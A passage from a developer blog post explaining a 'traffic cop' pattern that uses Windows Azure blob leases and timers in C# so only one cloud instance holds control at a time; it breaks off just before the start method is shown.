Document class object. The path of the file to which you want to write your paragraph is passed as a parameter to the
save() method. If the file doesn't already exist, a new file will be created, otherwise the paragraph will be appended at the end of the existing MS Word file.
The following script writes a simple paragraph to a newly created MS Word file named "my_written_file.docx".
mydoc.add_paragraph("This is first paragraph of a MS Word file.") mydoc.save("E:/my_written_file.docx")
Once you execute the above script, you should see a new file "my_written_file.docx" in the directory that you specified in the
save() method. Inside the file, you should see one paragraph which reads "This is first paragraph of a MS Word file."
Let's add another paragraph to the my_written_file.docx:
mydoc.add_paragraph("This is the second paragraph of a MS Word file.") mydoc.save("E:/my_written_file.docx")
This second paragraph will be appended at the end of the existing content in my_written_file.docx.
Writing Runs
You can also write runs using the
python-docx module. To write runs, you first have to create a handle for the paragraph to which you want to add your run. Take a look at the following example to see how it's done:
third_para = mydoc.add_paragraph("This is the third paragraph.") third_para.add_run(" this is a section at the end of third paragraph") mydoc.save("E:/my_written_file.docx")
In the script above we write a paragraph using the
add_paragraph() method of the
Document class object
mydoc. The
add_paragraph() method returns a handle for the newly added paragraph. To add a run to the new paragraph, you need to call the
add_run() method on the paragraph handle. The text for the run is passed in the form of a string to the
add_run() method. Finally, you need to call the
save() method to create the actual file.
Writing Headers
You can also add headers to MS Word files. To do so, you need to call the
add_heading() method. The first parameter to the
add_heading() method is the text string for header, and the second parameter is the header size. The header sizes start from 0, with 0 being the top level header.
The following script adds three headers of level 0, 1, and 2 to the file my_written_file.docx:
mydoc.add_heading("This is level 1 heading", 0) mydoc.add_heading("This is level 2 heading", 1) mydoc.add_heading("This is level 3 heading", 2) mydoc.save("E:/my_written_file.docx")
Adding Images
To add images to MS Word files, you can use the
add_picture() method. The path to the image is passed as a parameter to the
add_picture() method. You can also specify the width and height of the image using the
docx.shared.Inches() attribute. The following script adds an image from the local file system to the my_written_file.docx Word file. The width and height of the image will be 5 and 7 inches, respectively:
mydoc.add_picture("E:/eiffel-tower.jpg", width=docx.shared.Inches(5), height=docx.shared.Inches(7)) mydoc.save("E:/my_written_file.docx")
After executing all the scripts in the Writing MS Word Files with Python-Docx Module section of this article, your final my_written_file.docx file should look like this:
In the output, you can see the three paragraphs that you added to the MS word file, along with the three headers and one image.
Conclusion
The article gave a brief overview of how to read and write MS Word files using the
python-docx module. The article covers how to read paragraphs and runs from within a MS Word file. Finally, the process of writing MS Word files, adding a paragraph, runs, headers, and images to MS Word files have been explained in this article. | https://stackabuse.com/reading-and-writing-ms-word-files-in-python-via-python-docx-module/ | CC-MAIN-2021-17 | refinedweb | 1,405 | 63.7 |
Re-Imagining Linux Platforms to Meet the Needs of Cloud Service Providers
Watch→
[ Thanks to BeOpen
for this link. ]
"If you're already a KDE fan, you are probably well aware of
this friendly desktop environment and its powerful features.
However, a new release, KDE version 2, has been in development for
quite some time, and is slated for release as a stable product in
late summer or early fall. This is not a simple upgrade or bug
fixes. KDE 2 has been completely rewritten from the ground up, and
sports hundreds of improvements and many new
applications."
"One of the first things you'll notice when you start KDE 2 (we
used the 'Kleopatra' binaries that were released on June 14) is its
abundance of applications. The KDE 2 team has thought of almost
everything, including their new Konquerer browser... which has
already proven to be faster and more stable than Netscape Navigator
or Communicator. Konquerer not only views HTML documents, but also
acts as a file manager and network browser, much like Microsoft's
Windows Explorer."
"Much publicity, rightfully, has centered on kOffice and its
development. ... The first question on most user's minds is whether
or not a Linux word processer will be compatible with Microsoft
Word documents. The short answer in this case, is yes. KWord can
import Microsoft Word files... However, the longer answer is that
the kWord FAQ says of filters "Filters for ASCII, HTML and WinWord
97 are being worked on. The latter one is not very functional and
only exists as an import filter. A corresponding export filter is
not likely ever to be written."
Complete
Story
Related Stories:
Please enable Javascript in your browser, before you post the comment! Now Javascript is disabled. | https://www.linuxtoday.com/developer/2000062401306NWKE | CC-MAIN-2018-47 | refinedweb | 292 | 63.8 |
21 July 2009 09:53 [Source: ICIS news]
GUANGZHOU (ICIS news)--China’s biggest oil refiner Sinopec produced 10% less ethylene in the first half of the year at ?xml:namespace>
Its ethylene output in the first six months was less than half its current annual capacity of 6.3m tonnes.
Production may have declined due to maintenance shutdowns at Sinopec’s crackers, analysts said.
Sinopec’s mainstream ethylene plants - the 1m tonne/year plant of Maoming Petrochemical in
The company's production statistics mirrored the broad decline in
With good margins on downstream olefins, Sinopec is expected to keep high operation rates of its ethylene facilities, industry sources said.
“Unless there’s [a] flooding of [ethylene] imports, we will run our unit at full swing in the coming months,” said a source from Shanghai Petrochemical.
High olefin prices provide cracker operators with stimulus to produce more, he added.
“Our sales of downstream PP and PE have always been good. We haven’t seen signs of demand falls and will keep high production,” said a source from Yanshan Petrochemical.
Sinopec’s production of synthetic resins decreased 4.19% to
Its synthetic rubber output was also down 11% to 409,000 tonnes in the same period.
Sinopec also produced 149m barrels of crude oil in the first six months of the year, up 1.2% year on year, with crude throughput rising 1.82% to 639m barrels based on the company’s | http://www.icis.com/Articles/2009/07/21/9233710/sinopec-h1-ethylene-output-dips-10-crackers-op-rate-at-94.html | CC-MAIN-2015-18 | refinedweb | 241 | 62.48 |
Hey everyone,
I am working on an assignment that concerns itself with linked lists. Below is the code for two user-defined classes. The class Node contains the instance variables, constructors, accessors, mutators and print method. The class LinkedList is where I need to write methods for starting the list, inserting a new node, deleting a node, and searching the nodes. Each node contains professor information(which is why I have left the arguments as empty strings when creating them (prof1 and prof2))).
So far I have created the three empty nodes head, last, and temp,which serve only as pointers. I am trying to create the list and have created the node prof1. My question is how do I redirect head to point to prof1 instead of null?. If I write head = prof1 I get the error "Syntax error on token";", , expected" which is indicated on the semicolon of Node prof1 = new Node("", "", "", null);
public class Node { //icams //instance variables private String name; private String researchArea; private String email; private Node link; //constructors public Node() {//default constructor name = ""; researchArea = ""; email = ""; link = null; } public Node(String nameIn, String researchIn, String emailIn, Node newLink) {//constructor with parameters. name = nameIn; researchArea = researchIn; email = emailIn; link = newLink; } //accessors public String getName() { return name; } public String getResearchArea() { return researchArea; } public String getEmail() { return email; } public Node getNode() { return link; } //mutators public void setName(String nameIn) { name = nameIn; } public void setResearchArea(String researchIn) { researchArea = researchIn; } public void setEmail(String emailIn) { email = emailIn; } public void setNode(Node linkIn) { link = linkIn; }
public class LinkedList extends Node { Node head = new Node(); Node last = new Node(); Node temp = new Node(); Node prof1 = new Node("", "", "", null); head = prof1; //Node prof2 = new Node("", "", "", null); } | http://www.javaprogrammingforums.com/collections-generics/1156-having-trouble-redirecting-nodes.html | CC-MAIN-2014-15 | refinedweb | 283 | 60.48 |
dart_minecraft
A simple Dart library for interfacing with the Mojang and Minecraft APIs. It also includes NBT read/write functionality and functions to ping Minecraft: Java Edition servers.
You can simply import the library like this:
import 'package:dart_minecraft/dart_minecraft.dart';
Examples
Below are some basic examples of the features included in this library. A better and more extensive example can be found here. However you should always keep in mind that there is a rate limit on all API, set at 600 requests per 10 minutes. You are expected to cache the results and this is not done by the library itself.
Skin/Cape of a player
Get the skin and/or cape texture URL of a player. This just requires the player's UUID or username.
void main() async { // PlayerUUID is a Pair<String, String> PlayerUuid player = await getUuid('<your username>'); Profile profile = await getProfile(player.second); String url = profile.textures.getSkinUrl(); }
Name history of a player
Gets a list of all names the player has every taken, including the unix timestamp at which they were changed.
void main() async { // PlayerUUID is a Pair<String, String> PlayerUuid uuid = await getUuid('<your username>'); List<Name> history = await getNameHistory(uuid.second); history.forEach((name) => print(name.name)); }
Reading NBT data
Read NBT data from a local file. This supports the full NBT specification, however support for SNBT is not implemented yet. A full list of tags/types usable in this context can be found here.
void main() async { // You can create a NbtFile object from a File object or // from a String path. final nbtReader = NbtReader.fromFile('yourfile.nbt'); await nbtReader.read(); NbtCompound rootNode = nbtReader.root; // You can now read information from your [rootNode]. // for example, rootNode[0] will return the first child, // if present. print(rootNode.first); print(rootNode.getChildrenByTag(NbtTagType.TAG_STRING)); }
Pinging a server
Pings the Minecraft: Java Edition (1.6+) server at 'mc.hypixel.net'. You can use any DNS or IP Address to ping them. The server will provide basic information, as the player count, ping and MOTD.
void main() async { /// Pinging a server and getting its basic information is /// as easy as that. final server = await ping('mc.hypixel.net'); if (server == null || server.response == null) return; print('Latency: ${server.ping}'); final players = ping.response!.players; print('${players.online} / ${players.max}'); // e.g. 5 / 20 }
License
The MIT License, see LICENSE.
Libraries
- minecraft
- The core dart_minecraft library with Mojang, Minecraft and Microsoft APIs. It wraps authentication APIs, content APIs and account management APIs. Furthermore, there are server pinging features to get the status of any Minecraft: Java Edition server.
- nbt
- The NBT library for reading and writing the so called "Named Binary Tag" file format. Minecraft world files and other storage files related to Minecraft: Java Edition are stored in this file format. | https://pub.dev/documentation/dart_minecraft/latest/ | CC-MAIN-2022-27 | refinedweb | 468 | 60.01 |
Blinker provides fast & simple object-to-object and broadcast signaling for Python objects.
The core of Blinker is quite small but provides powerful features:
- a global registry of named signals
- anonymous signals
- custom name registries
- permanently or temporarily connected receivers
- automatically disconnected receivers via weak referencing
- sending arbitrary data payloads
- collecting return values from signal receivers
- thread safety
Blinker was written by Jason Kirtand and is provided under the MIT License. The library supports Python 2.4 or later; Python 3.0 or later; or Jython 2.5 or later; or PyPy 1.6 or later.
Named signals are created with signal():
>>> from blinker import signal >>> initialized = signal('initialized') >>> initialized is signal('initialized') True
Every call to signal('name') returns the same signal object, allowing unconnected parts of code (different modules, plugins, anything) to all use the same signal without requiring any code sharing or special imports.
Signal.connect() registers a function to be invoked each time the signal is emitted. Connected functions are always passed the object that caused the signal to be emitted.
>>> def subscriber(sender): ... print("Got a signal sent by %r" % sender) ... >>> ready = signal('ready') >>> ready.connect(subscriber) <function subscriber at 0x...>
Code producing events of interest can Signal.send() notifications to all connected receivers.
Below, a simple Processor class emits a ready signal when it’s about to process something, and complete when it is done. It passes self to the send() method, signifying that that particular instance was responsible for emitting the signal.
>>> class Processor: ... def __init__(self, name): ... self.name = name ... ... def go(self): ... ready = signal('ready') ... ready.send(self) ... print("Processing.") ... complete = signal('complete') ... complete.send(self) ... ... def __repr__(self): ... return '<Processor %s>' % self.name ... >>> processor_a = Processor('a') >>> processor_a.go() Got a signal sent by <Processor a> Processing.
Notice the complete signal in go()? No receivers have connected to complete yet, and that’s a-ok. Calling send() on a signal with no receivers will result in no notifications being sent, and these no-op sends are optimized to be as inexpensive as possible.
The default connection to a signal invokes the receiver function when any sender emits it. The Signal.connect() function accepts an optional argument to restrict the subscription to one specific sending object:
>>> def b_subscriber(sender): ... print("Caught signal from processor_b.") ... assert sender.name == 'b' ... >>> processor_b = Processor('b') >>> ready.connect(b_subscriber, sender=processor_b) <function b_subscriber at 0x...>
This function has been subscribed to ready but only when sent by processor_b:
>>> processor_a.go() Got a signal sent by <Processor a> Processing. >>> processor_b.go() Got a signal sent by <Processor b> Caught signal from processor_b. Processing.
Additional keyword arguments can be passed to send(). These will in turn be passed to the connected functions:
>>> send_data = signal('send-data') >>> @send_data.connect ... def receive_data(sender, **kw): ... print("Caught signal from %r, data %r" % (sender, kw)) ... return 'received!' ... >>> result = send_data.send('anonymous', abc=123) Caught signal from 'anonymous', data {'abc': 123}
The return value of send() collects the return values of each connected function as a list of (receiver function, return value) pairs:
>>> result [(<function receive_data at 0x...>, 'received!')]
Signals need not be named. The Signal constructor creates a unique signal each time it is invoked. For example, an alternative implementation of the Processor from above might provide the processing signals as class attributes:
>>> from blinker import Signal >>> class AltProcessor: ... on_ready = Signal() ... on_complete = Signal() ... ... def __init__(self, name): ... self.name = name ... ... def go(self): ... self.on_ready.send(self) ... print("Alternate processing.") ... self.on_complete.send(self) ... ... def __repr__(self): ... return '<AltProcessor %s>' % self.name ...
You may have noticed the return value of connect() in the console output in the sections above. This allows connect to be used as a decorator on functions:
>>> apc = AltProcessor('c') >>> @apc.on_complete.connect ... def completed(sender): ... print "AltProcessor %s completed!" % sender.name ... >>> apc.go() Alternate processing. AltProcessor c completed!
While convenient, this form unfortunately does not allow the sender or weak arguments to be customized for the connected function. For this, connect_via() can be used:
>>> dice_roll = signal('dice_roll') >>> @dice_roll.connect_via(1) ... @dice_roll.connect_via(3) ... @dice_roll.connect_via(5) ... def odd_subscriber(sender): ... print("Observed dice roll %r." % sender) ... >>> result = dice_roll.send(3) Observed dice roll 3.
Signals are optimized to send very quickly, whether receivers are connected or not. If the keyword data to be sent with a signal is expensive to compute, it can be more efficient to check to see if any receivers are connected first by testing the receivers property:
>>> bool(signal('ready').receivers) True >>> bool(signal('complete').receivers) False >>> bool(AltProcessor.on_complete.receivers) True
Checking for a receiver listening for a particular sender is also possible:
>>> signal('ready').has_receivers_for(processor_a) True
Both named and anonymous signals can be passed a doc argument at construction to set the pydoc help text for the signal. This documentation will be picked up by most documentation generators (such as sphinx) and is nice for documenting any additional data parameters that will be sent down with the signal.
See the documentation of the receiver_connected built-in signal for an example.
All public API members can (and should) be imported from blinker:
from blinker import ANY, signal
Token for “any sender”.
Sent by a Signal after a receiver connects.
Deprecated since version 1.2.
As of 1.2, individual signals have their own private receiver_connected and receiver_disconnected signals with a slightly simplified call signature. This global signal is planned to be removed in 1.6.
A notification emitter.
An ANY convenience synonym, allows Signal.ANY without an additional import.
Emitted after each connect().
The signal sender is the signal instance, and the connect() arguments are passed through: receiver, sender, and weak.
New in version 1.2.
Emitted after disconnect().
The sender is the signal instance, and the disconnect() arguments are passed through: receiver and sender.
Note, this signal is emitted only when receiver_connected and setting up a custom weakref cleanup callback on weak receivers and senders.
New in version 1.2.
A mapping of connected receivers.
The values of this mapping are not meaningful outside of the internal Signal implementation, however the boolean value of the mapping is useful as an extremely efficient check to see if any receivers are connected to the signal.
Connect receiver to signal events sent by sender.
Connect the decorated function as a receiver for sender.
New in version 1.1.
Execute a block with the signal temporarily connected to receiver.
This is a context manager for use in the with statement. It can be useful in unit tests. receiver is connected to the signal for the duration of the with block, and will be disconnected automatically when exiting the block:
with on_ready.connected_to(receiver): # do stuff on_ready.send(123)
New in version 1.1.
Disconnect receiver from this signal’s events.
True if there is probably a receiver for sender.
Performs an optimistic check only. Does not guarantee that all weakly referenced receivers are still alive. See receivers_for() for a stronger search.
Iterate all live receivers listening for sender.
Emit this signal on behalf of sender, passing on **kwargs.
Returns a list of 2-tuples, pairing receivers with their return value. The ordering of receiver notification is undefined.
An alias for connected_to().
New in version 0.9.
Changed in version 1.1: Renamed to connected_to(). temporarily_connected_to was deprecated in 1.2 and will be removed in a subsequent version.
Return the NamedSignal name, creating it if required.
Repeated calls to this function will return the same signal object. Signals are created in a global Namespace.
Bases: blinker.base.Signal
A named generic notification emitter.
The name of this signal.
Bases: dict
A mapping of signal names to signals.
Return the NamedSignal name, creating it if required.
Repeated calls to this function will return the same signal object.
Bases: weakref.WeakValueDictionary
A weak mapping of signal names to signals.
Automatically cleans up unused Signals when the last reference goes out of scope. This namespace implementation exists for a measure of legacy compatibility with Blinker <= 1.2, and may be dropped in the future.
New in version 1.3.
Return the NamedSignal name, creating it if required.
Repeated calls to this function will return the same signal object.
Released July 23, 2015
Released July 3, 2013
Released October 26, 2011
Released July 21, 2010
Released February 26, 2010 | https://pythonhosted.org/blinker/index.html | CC-MAIN-2022-05 | refinedweb | 1,378 | 52.05 |
There is no call blocking application for the N900 yet, but that hasn’t stopped Vinu Thomas from coming up with a hack that lets you do just that. He clearly mentions that this is a stop gap arrangement until until steps up to create a real application with this functionality. What I’d like is an SMS blocking app as well, as SMS spam has really increased over the last one year or so.
Anyway, if you are being plagued by unwanted callers and have had enough, here’s how to get rid of them.
- The first thing you need is root access. So go ahead and download rootsh from the application manager or use this link.
- Next, if you haven’t installed a Python application in your phone, you’ll need to install maemo-python-device-env from extras-devel (here is how to enable extras-devel with one click).
- Now download this script. Inside the zip is a file callblock.py. Once you open it in notepad or whatever you like, it will look like the picture below.
- Now edit the ‘Blocklist’ in the script and put in the numbers you want to block. You can add as many number as you like, just make sure that you enclose the numbers within the quote and separate each with a comma. Also, do not have a trailing comma after the last number.
- Save and transfer this file (callblock.py) to the MyDocs folder on the N900.
- Open terminal on the device and enter the root mode by entering:
root
- Next start the call block hack by entering:
python /home/user/MyDocs/callblock.py &
That’s it. All your unwanted calls are now blocked. You will need to run this script everytime you restart your device as there is no auto start functionality yet. Edit the block list in the callblock.py file anytime you want to change the blacklisted numbers. In case you have any doubts, hit Vinu’s My Nokia World to ask him.
15 thoughts on “How To Block Unwanted Callers On The N900”
A little bit tricky, but a cool trick. 🙂
unbelievable that this guide comes without any warning, especially the part about enabling extras-devel… where is your responsibility?
Prometoys,
If you care to click the link which explains how to enable extras-devel, you will notice the following in the first para itself.
“Extras-Devel is the place where applications reside when they are in the alpha mode and definitely not ready for the average consumer.”
Prometoys ,
You are not forced to enable extras-devel. If you want to use your N900 only as a phone then stick to the initial catalogs. If you want to see the full potential of the device you have to enable outher catalogs and play with aplications. As Vaibhav Sharma said: this applications are not for the average consumer.
i s it possible to block anonymous calls?
Not yet!
Just a bit of a follow up. Since you’re using python you might as well use a set for the blocklist instead of explicitly iterating through a list.
Anyway, this also very very hackishly adds custom ring tones to your script. I tried updating the configuration with profiled calls, but it doesn’t take effect fast enough. And that also would mean decompressing the ring tones when the call comes in. However, changing a symlinked cached tone seems to do the trick. To use this, you will also need to prepare the cached wavs, see the second script for a sloppy fix for that.
#! /usr/bin/python
import gobject, dbus
import time
import os
from dbus.mainloop.glib import DBusGMainLoop
def handle_call(obj_path, callernumber):
global blocklist
print “call from “+callernumber
if callernumber in special_ringtones:
print ‘Special ring tone for: %s’ %callernumber
bus = dbus.SessionBus()
profiled = bus.get_object(‘com.nokia.profiled’, ‘/com/nokia/profiled’)
proxy = dbus.Interface(profiled, ‘com.nokia.profiled’)
old_ring = os.path.basename(proxy.get_value(‘general’,’ringing.alert.tone’))
os.system(“ln -sf /home/user/.local/share/sounds/”+special_ringtones[callernumber]+”.wav.keep”+
” /home/user/.local/share/sounds/”+old_ring+”.wav”)
time.sleep(3)
os.system(“ln -sf /home/user/.local/share/sounds/”+old_ring+”.wav.keep /home/user/.local/share/sounds/”+old_ring+”.wav”)
elif callernumber in blocklist:
print ‘I dont have to block %s’ %callernumber
bus = dbus.SystemBus()
callobject = bus.get_object(‘com.nokia.csd.Call’, ‘/com/nokia/csd/call/1’)
smsiface = dbus.Interface(callobject, ‘com.nokia.csd.Call.Instance’)
smsiface.Release()
blocklist = set([“+918067337555″,”+918067348300″,”+918066167590”])
special_ringtones = { “17185551212”: “Tinker.aac”,
“18175551212”: “Temporal.aac” }
DBusGMainLoop(set_as_default=True)
bus = dbus.SystemBus()
bus.add_signal_receiver(handle_call, path=’/com/nokia/csd/call’, dbus_interface=’com.nokia.csd.Call’, signal_name=’Coming’)
gobject.MainLoop().run()
################# script to prepare audio files ###############
#! /usr/bin/python
import dbus
import sys
import os
import time
bus = dbus.SessionBus()
profiled = bus.get_object(‘com.nokia.profiled’, ‘/com/nokia/profiled’)
proxy = dbus.Interface(profiled, ‘com.nokia.profiled’)
old = os.path.basename(proxy.get_value(‘general’,’ringing.alert.tone’))
f = os.path.abspath(sys.argv[1])
b = os.path.basename(sys.argv[1])
if os.path.isfile(“/home/user/.local/share/sounds/”+b+”.wav.keep”):
exit(0)
if (os.path.isfile(‘/home/user/.local/share/sounds/’+old+’.wav’) and not
os.path.islink(‘/home/user/.local/share/sounds/’+old+’.wav’)):
os.rename(“/home/user/.local/share/sounds/”+old+”.wav”,
“/home/user/.local/share/sounds/”+old+”.wav.keep”)
os.symlink(“/home/user/.local/share/sounds/”+old+”.wav.keep”,
“/home/user/.local/share/sounds/”+old+”.wav”)
if (len(sys.argv) > 1):
proxy.set_value(‘general’,’ringing.alert.tone’,f)
time.sleep(2)
if(os.path.isfile(“/home/user/.local/share/sounds/”+b+”.wav”)):
os.link( “/home/user/.local/share/sounds/”+b+”.wav”,
“/home/user/.local/share/sounds/”+b+”.wav.keep”)
if(os.path.islink(“/home/user/.local/share/sounds/”+old+”.wav”)):
os.unlink(“/home/user/.local/share/sounds/”+old+”.wav”)
os.symlink(“/home/user/.local/share/sounds/”+b+”.wav.keep”,
“/home/user/.local/share/sounds/”+old+”.wav”)
proxy.set_value(‘general’,’ringing.alert.tone’,old)
Hi,
I’m writing a UI for your script, and I’d like to include your code in my package. But I didn’t found any licence around here, so, I’m I allowed to use your code? 🙂
Greeting from Austria
—
Srdjan
Add:
I’d also like to redistribute your code, so is GPL OK for you?
Thanks!
– –
Srdjan
Hello!
I’m following the steps above, but x-terminal keeps telling me “not found”, any solution please?
thank you.
I got 2 problems, maybe some1 will be kind enough to respond and helps us out
1. Where is actually situated MyDocs
2. On qwerty keyboard isn`t any “&”, how can we get it?
All the best
I was completely pissed off, as i was receiving so many calls from some guy who was using different numbers every now and then, being a girl and. | http://thehandheldblog.com/2010/02/22/how-to-block-unwanted-callers-on-the-n900/ | CC-MAIN-2017-51 | refinedweb | 1,140 | 51.24 |
Type: Posts; User: AJAXnub
I found the problem: Access has different SQL standards (very surprising for the makers of IE), so the Wildcard is "*"...
FROM USERS
WHERE USERS.USERNAME Like '%D%';
This query simply shows no results, While
FROM USERS
WHERE USERNAME NOT Like '%D%';
There is an alternative:
use the System.OleDB namespace (works on C#).
If you need any help with that, ask me.
oops.. read Excel as Access.. Ignore this..
I want to select only a part of my table (comments), but I don't know how.
how do I fix this:
"SELECT `POSTER` SKIP 1 TOP 2 FROM `COMMENTS` ORDER BY `DATETIME`"
(Skip 1 entry, select only the...
the JavaScript or the CSS?
position fixed has... other effects, that can be undesirable (for a start, it messes up the zoom). Also, I assume you meant you set height to 100%, right?
position: fixed is for things that you want...
o.O I didn't know doing that was bad.. Thanks!
Oh.. thanks!
I don't know PHP-I use ASP.NET (C#), but its not a complicated function to make.
I will probably eventually learn it, but not before I know ASP.NET.
hmm.. can you explain the last three? I'm not very good with terminology...
Why are mono-space fonts better for that?
I'm checking this for a comment feature, so what I wanted to do was to take in the information in a textarea, and then, on the server side, replace all of...
Thanks!
I'll probably just use character replacing in the server side instead, to make it more controllable, but I might get to use that two.
hmm.. now it works for some reason.. to be on the safe side, put
window.onresize = function () {
initialize();
};
after the initialize function.
Hmm.. generally it should be anywhere you want (outside of a function), but for some reason it says that the div doesn't exist when I do. Someone else will need to solve this one, I have no idea why...
I didn't give you the IE code.. but here is one to fit IE6+:
function initialize()
{
if(navigator.appName == 'Microsoft Internet Explorer')
{...
hmm.. are you using internet explorer?
Is there a tag that displays all of its contents as pure text (or at least break a line without <br />, but with the enter key)?
Thanks!
I made a script like that a while ago, but it has a problem: if the window changes its size, it gets broken. onresize didn't seem to work for me, so I don't know how much of a good idea it is, but...
I'm not uploading any site to the internet, so the spaces don't bother me too much right now... This is basically out of curiosity, and not trying to reduce load time.
I recently found out what the ? sign means in javascript.. is there anything else like that to shorten code?
Thanks!
Heh.. I tried that yesterday, and it didn't work.
I can give you an explanation, but it is based purely on my logic and some minor tests, and not on any prior knowledge.
AJAX loads the whole HTML...
No, It doesn't ouptput true.
x%2 outputs the remainder (wrong word?) of x/2, meaning if x is even, it would be 0, and if not, it would be 1.
var final=0, temp;
for(int i=0;...
1) value is a property that all input objects have. Its basically what they send to the server when submitted, and in some types it reflects visually. here it was used just to store information....
I saw that JQuery has a function "Jquery.get()", which can refer to divs in other pages via the "#" sign. I tried adding that in my AJAX (non JQuery) code, but it doesn't make any difference.
So I... | http://www.webdeveloper.com/forum/search.php?s=4c0ddecb83a6edac0fd4ca0675bd1a01&searchid=7752985 | CC-MAIN-2014-52 | refinedweb | 646 | 84.88 |
The “traffic cop” pattern
So I like design patterns but don’t follow them closely. Problem is that there are too many names and its just so darn hard to find them. But one “pattern” I keep seeing an ask for is the ability to having something that only runs once across a group of Windows Azure instances. This can surface as one-time startup task or it could be the need to have something that run constantly and if one instance fails, another can realize this and pick up the work.
This later example is often referred to as a “self-electing controller”. At the root of this is a pattern I’ve taken to calling a “traffic cop”. This mini-pattern involves having a unique resource that can be locked, and the process that gets the lock has the right of way. Hence the term “traffic cop”. In the past, aka my “mainframe days”, I used this with systems where I might be processing work in parallel and needed to make sure that a sensitive block of code could prevent a parallel process from executing it while it was already in progress. Critical when you have apps that are doing things like self-incrementing unique keys.
In Windows Azure, the most common way to do this is to use a Windows Azure Storage blob lease. You’d think this comes up often enough that there’d be a post on how to do it already, but I’ve never really run across one. That is until today. Keep reading!
But before I dig into the meat of this, a couple footnotes… First is a shout out to my buddy Neil over at the Convective blob. I used Neil’s Azure Cookbook for help me with the blob leasing stuff. You can never have too many reference books in your Kindle library. Secondly, the Windows Azure Storage team is already working on some enhancements for the next Windows Azure .NET SDK that will give us some more ‘native’ ways of doing blob leases. These include taking advantage of the newest features of the 2012-02-12 storage features. So the leasing techniques I have below may change in an upcoming SDK.
Blob based Traffic Cop
Because I want to get something that works for Windows Azure Cloud Services, I’m going to implement my traffic cop using a blob. But if you wanted to do this on-premises, you could just as easily get an exclusive lock on a file on a shared drive. So we’ll start by creating a new Cloud Service, add a worker role to it, and then add a public class to the worker role called “BlobTrafficCop”.
Shell this class out with a constructor that takes a CloudPageBlob, a property that we can test to see if we have control, and methods to Start and Stop control. This shell should look kind of like this:
class BlobTrafficCop { public BlobTrafficCop(CloudPageBlob blob) { } public bool HasControl { get { return true; } } public void Start(TimeSpan pollingInterval) { } public void Stop() { } }
Note that I’m using a CloudPageBlob. I specifically chose this over a block blob because I wanted to call out something. We could create a 1tb page blob and won’t be charged for 1 byte of storage unless we put something into it. In this demo, we won’t be storing anything so I can create a million of these traffic cops and will only incur bandwidth and transaction charges. Now the amount I’m saving here isn’t even significant enough to be a rounding error. So just note this down as a piece of trivia you may want to use some day. It should also be noted that the size you set in the call to the Create method is arbitrary but MUST be a multiple of 512 (the size of a page). If you set it to anything that’s not a multiple of 512, you’ll receive an invalid argument exception.
I’ll start putting some buts into this by doing a null argument check in my constructor and also saving the parameter to a private variable. The real work starts when I create three private helper methods to work with the blob lease. GetLease, RenewLease, and ReleaseLease.
GetLease has two parts, setting up the blob, and then acquiring the lease. Here’s how I go about creating the blob using the CloudPageBlob object that was handed in:
try { myBlob.Create(512); } catch (StorageClientException ex) { // conditionfailed will occur if there's already a lease on the blob if (ex.ErrorCode != StorageErrorCode.ConditionFailed) { myLeaseID = string.Empty; throw ex; // re-throw exception } }
Now admittedly, this does require another round trip to WAS, so as a general rule, I’d make sure the blob was created when I deploy the solution and not each time I try to get a lease on it. But this is a demo and we want to make running it as simple as possible. So we’re putting this in. I’m trapping for a StorageClientExcpetion with a specific error code of ConditionFailed. This is what you will see if you issue the Create method against a blob that has an active lease on it. So we’re handing that situation. I’ll get to myLeaseID here in a moment.
The next block creates a web request to lease the blob and tries to get that lease.
try { HttpWebRequest getRequest = BlobRequest.Lease(myBlob.Uri, 30, LeaseAction.Acquire, null); myBlob.Container.ServiceClient.Credentials.SignRequest(getRequest); using (HttpWebResponse response = getRequest.GetResponse() as HttpWebResponse) { myLeaseID = response.Headers["x-ms-lease-id"]; } } catch (System.Net.WebException) { // this will be thrown by GetResponse if theres already a lease on the blob myLeaseID = string.Empty; }
BlobRequest.lease will give me a template HttpWebRequest for the least. I then use the blob I received in the constructor to sign the request, and finally I execute the request and get its response. If things go well, I’ll get a response back and it will have a header with the id for the lease which I’ll put into a private variable (the myLeaseID from earlier) which I can use later when I need to renew the lease. I also trap for a WebException which will be thrown if my attempt to get a lease fails because there’s already a lease on the blob.
RenewLease and ReleaseLease are both much simpler. Renew creates a request object, signs and executes it just like we did before. We’ve just changed the LeaseAction to Renew.
HttpWebRequest renewRequest = BlobRequest.Lease(myBlob.Uri, 30, LeaseAction.Renew, myLeaseID); myBlob.Container.ServiceClient.Credentials.SignRequest(renewRequest); using (HttpWebResponse response = renewRequest.GetResponse() as HttpWebResponse) { myLeaseID = response.Headers["x-ms-lease-id"]; }
ReleaseLease is just a bit more complicated because we check the status code to make sure we released the lease properly. But again its mainly just creating the request and executing it, this time with the LeaseAction of Release.
HttpWebRequest releaseRequest = BlobRequest.Lease(myBlob.Uri, 30, LeaseAction.Release, myLeaseID); myBlob.Container.ServiceClient.Credentials.SignRequest(releaseRequest); using (HttpWebResponse response = releaseRequest.GetResponse() as HttpWebResponse) { HttpStatusCode httpStatusCode = response.StatusCode; if (httpStatusCode == HttpStatusCode.OK) myLeaseID = string.Empty; }
Ideally, I’d have liked to do a bit more testing of these to make sure there weren’t any additional exceptions I should handle. But I’m short on time so I’ll leave that for another day.
Starting and Stopping
Blob leases expire after an interval if they are not renewed. So its important that I have a process that regularly renews the lease, and another that will check to see to see if I can get the lease if I don’t already have it. To that end, I’m going to use System.Threading.Timer objects with a single delegate called TimerTask. This delegate is fairly simple, so we’ll start there.
private void TimerTask(object StateObj) { // if we have control, renew the lease if (this.HasControl) RenewLease(); else // we don't have control // try to get lease GetLease(); renewalTimer.Change((this.HasControl ? TimeSpan.FromSeconds(45) : TimeSpan.FromMilliseconds(-1)), TimeSpan.FromSeconds(45)); pollingTimer.Change((!this.HasControl ? myPollingInterval : TimeSpan.FromMilliseconds(-1)), TimeSpan.FromSeconds(45)); }
We start by checking that HasControl property we created in our shell. This property just checks to see if myLeaseID is a string with a length > 0. If so, then we need to renew our lease. If not, then we need to try and acquire the lease. I then change the intervals on two System.Threading.Timer objects (we’ll set them up next), renewalTimer and pollingTimer. Both are private variables of our class.
If we have control, then the renewal timer will be set to fire again in 45 seconds(15 seconds before our lease expires), and continue to fire every 45 seconds after that. If we don’t have control, renewal will stop checking. pollingTimer works in reverse, polling if we don’t have a lease, and stopping when we do. I’m using two separate timers because the renewal timer needs to fire every minute if I’m to keep control. But the process that’s leveraging may want to control the interval at which we poll for control, so I want that on a separate timer.
Now lets start our traffic cop:
